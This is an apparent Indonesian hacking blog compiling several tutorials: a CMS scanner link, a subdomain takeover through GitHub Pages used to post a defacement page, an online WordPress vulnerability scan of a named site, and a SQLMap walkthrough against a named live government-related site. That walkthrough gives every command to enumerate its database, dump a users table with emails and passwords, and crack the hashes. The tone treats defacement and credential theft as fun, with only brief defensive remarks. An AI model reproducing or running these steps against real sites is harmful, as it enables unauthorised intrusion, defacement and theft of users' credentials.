CMS Scanner: Scan Wordpress, Drupal, Joomla, vBulletin websites for Security issues

tool untuk scan Wordpress, Drupal, Joomla, dan vBulletin

CMSScan menyediakan Dashboard untuk pentest Keamanan CMS. Ini didukung oleh wpscan, droopescan, vbscan dan joomscan. Ini mendukung baik pada permintaan dan pemindaian terjadwal dan memiliki kemampuan untuk mengirim laporan email.

download : https://github.com/ajinabraham/CMSScan

Cara Subdomain Takeover Melalui Github Page

oke gays gw kali ini bikin tutor mengenai subdomain takeover kebetulan member-member GSH pada penasaran gimana proses nya awal nya gw membaca artikel ini : https://www.hackerone.com/blog/Guide-Subdomain-Takeovers awal nya gw rada bingung namun 1 jam gw praktek dan akhirnya nemu deh trik nya wkwkwkwkwkwkwk

kenapa bisa terjadi subdomain takeover ini ?

sebelum nya si pemilik web pernah bikin subdomain yang digunakan untuk github page namun mungkin karena udah gak lanjut lagi ya github page nya dihapus sedangkan subdomain nya gak dihapus

oke langsung saja kita mulai ya kebetulan gw dapat nih bahan percobaan pertama adalah tanda-tanda subdomain itu vuln Github Custom Page Subdomain Takeover adalah seperti ini tanda 404 semua pada ngira 404 itu gak ada barang nya ya kan.

oke sebelum eksekusi pastikan kalian sudah punya akun github ya

setelah kalian login akun github nya klik New Repository

masukkan subdomain target nya sebagai nama repository nya lalu checklist bagian Intilialize this repository with a README setelah itu klik Create repository 

kemudian create new file

buat file nama nya index.html lalu isi dengan script depes contoh seperti gambar dibawah ini

kemudian klik commit new file

trus klik settings

pada bagian Github pages nya di sisi Source nya klik master branch lalu klik save lebih jelas nya liat gambar dibawah ini.

kemudian custom domain nya isi subdomain target tadi kemudian klik save

jika muncul seperti ini berarti sudah selesai setting nya

dan kalo berhasil ya muncul deh halaman depes nya wkwkwkwk ini ada Ucing Kuning lagi ngeganja

oke cukup mudah kan wkwkwkwkk solusi nya ya record DNS yang mengarah ke github itu ya dihapus di bagian control panel domain registrar nya.

oke cukup sampai disini aja sekian dan terimakasih.

Scan Bug Wordpress Dengan Wpscans.com Secara Online

hai para hacker biasa dan hacker mastah yang skill nya sampe bisa bikin matahari terbit dari timur :v

kali ini gw mau share tool online yang lumayan enak bin kamprett cocok buat lu yang suka ngajukan proposal ala anak ormas ke admin-admin web pengguna wordpress wkwkwkwkwkwkwk.

tool ini beralamat di http://wpscans.com untuk menggunakan nya lu kagak perlu pake skill hacker lu yang bisa bikin matahari terbit dari timur itu :v

cukup buka http://wpscans.com dari browser lu pade lalu masukkan url situs yang mau diuji misal nya http://jokowi.co.id ( maafkan rakyat mu yang nakal ini pak ) kemudian tekan tombol start scan now

 biarkan proses scanning berjalan dengan baik

sabar coyyy

dan hasil scan nya keluar ternyata web nya ada bug nya 

tuh keliatan jelas bug nya ada di plugin dan theme apa 

 dan informasi tentang kekurangan website yang discan tadi keliatan detail nya

nah khusus buat lu admin wordpress rajin-rajin aja scan website yang lu urus pake http://wpscans.com ini jadi lu tau dimana kelebihan dan kekurangan nya.

sekian dan terimakasih.

Kali Linux : SQL Injection dan Auto Crack Hash Password Dengan SQLMap

Yo kembali lagi bersama gw yukinoshita 47 kali ini gw mau sharing tutorial tentang SQL Map banyak jg sih yg request sampe bosan gw denger nya wkwkwkwkwk.

oke kali ini live target tutorial nya http://dev2.kopertis7.go.id seperti gambar dibawah ini bug nya terletak di http://dev2.kopertis7.go.id/gallery_info.php?id=35

 

masukkan perintah

root@yukinoshita47:~# sqlmap -u http://situstarget.com --dbs

contoh :

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 --dbs

biarkan tool nya berjalan seperti gambar dibawa ini

jika muncul persetujuan buat lanjutkan eksekusi ketik y terus tekan enter seperti gambar dibawah ini

 

 

jika berhasil maka akan muncul seperti gambar dibawah ini :

 

lalu untuk melihat tabel dari database tersebut eksekusi perintah

root@yukinoshita47:~# sqlmap -u http://situstarget.com -D namadatabase --table

contoh

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb --table

 

kemudian tekan enter maka akan muncul seperti gambar dibawah ini.

 

selanjut nya untuk melihat isi dari tabel tersebut perintahnya adalah

root@yukinoshita47:~# sqlmap -u http://situstarget.com -D namadatabase --columns

contoh :

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb --columns

 

kemudian tekan enter maka akan muncul seperti gambar dibawah ini.

 

setelah itu kolom-kolom dari tabel database tersebut akan kelihatan seperti gambar dibawah ini.

 

untuk melihat isi dari kolom dan tabel tadi adalah menggunakan perintah.

root@yukinoshita47:~# sqlmap -u http://situstarget.com -D namadatabase -T namatabel -C namakolom --dump

contoh

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb -T users -C email,password,user_id,username --dump

 

 kemudian tekan enter dan akan muncul seperti gambar dibawah ini sqlmap akan meminta persetujuan untuk menggunakan tools lainnya disini saya iya kan dengan menekan y dan kemudian tekan enter

 

kemudian muncul lagi persetujuan untuk menggunakan metode dictionary attack atau bruteforce tekan aja y kemudian tekan enter.

 

kemudian ada 3 pilihan

- 1 menggunakan wordlist default bawaan sqlmap

- 2 menggunakan wordlist custom

- 3 menggunakan file wordlist

disini saya pilih aja default dengan menekan 1 kemudian tekan enter

 

kemudian akan muncul seperti gambar dibawah ini kali ini tergantung keinginan saja disini saya pilih tidak dengan menekan n kemudian tekan enter

 

biarkan sqlmap crack hash password nya

 

jika berhasil akan muncul seperti gambar dibawah ini.

oke untuk mencari dimana login nya ya seperti biasa kalian cari aja pake admin finder :p

untuk log pentest dari SQLMap di tutorial ini  klik disini

oke cukup sampe disini tutorial nya sekian dan terimakasih